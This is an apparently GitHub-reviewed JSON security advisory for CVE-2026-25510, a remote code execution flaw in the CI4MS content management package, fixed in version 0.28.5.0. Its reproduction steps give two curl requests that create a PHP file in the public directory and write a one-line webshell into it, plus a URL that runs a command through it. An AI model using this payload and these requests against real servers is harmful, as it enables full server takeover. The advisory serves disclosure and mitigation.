CVE-2026-25510: Ci4 cms erp/ci4ms Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gp56-f67f-m4px",
  "modified" : "2026-02-04T17:45:59Z",
  "published" : "2026-02-02T21:52:58Z",
  "aliases" : [ "CVE-2026-25510" ],
  "summary" : "CI4MS Vulnerable to Remote Code Execution (RCE) via Arbitrary File Creation and Save in File Editor",
  "details" : "**Summary**\n\nA critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server.\n\n**Vulnerability Details**\n\nThe vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints.\n\nUnrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public.\n\nArbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization.\n\nAn attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server.\n\n**Impact**\n\nSuccessful exploitation allows:\n\nFull access to the server's file system and databases.\n\nExecution of arbitrary OS commands.\n\nPermanent modification or deletion of application data.\n\nSteps to Reproduce\n\nLog in to an account with permissions to use the file editor.\n\nCreate a new PHP file in a public directory using the following request:\n\n```\ncurl -X POST '[SERVER_URL]/backend/fileeditor/createFile' -d 'path=/public' -d 'name=exploit.php'\n```\n\nInject a PHP payload into the file using the save endpoint:\n\n```\ncurl -X POST '[SERVER_URL]/backend/fileeditor/save' -H 'Content-Type: application/json' -d '{\"path\":\"/public/exploit.php\",\"content\":\"<?php echo shell_exec($_GET[\\\"cmd\\\"]); ?>\"}'\n```\n\nAccess the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami\n\nSuggested Mitigation\n\nPath Validation: Restrict file operations to non-executable directories.\n\nExtension Whitelisting: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc.\n\nContent Sanitization: Implement server-side checks to prevent the injection of malicious code patterns.\n\nExecution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "ci4-cms-erp/ci4ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.28.5.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gp56-f67f-m4px"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25510"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/commit/86be2930d1c54eb7575102563302b2f3bafcb653"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ci4-cms-erp/ci4ms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-02T21:52:58Z",
    "nvd_published_at" : "2026-02-03T22:16:31Z"
  }
}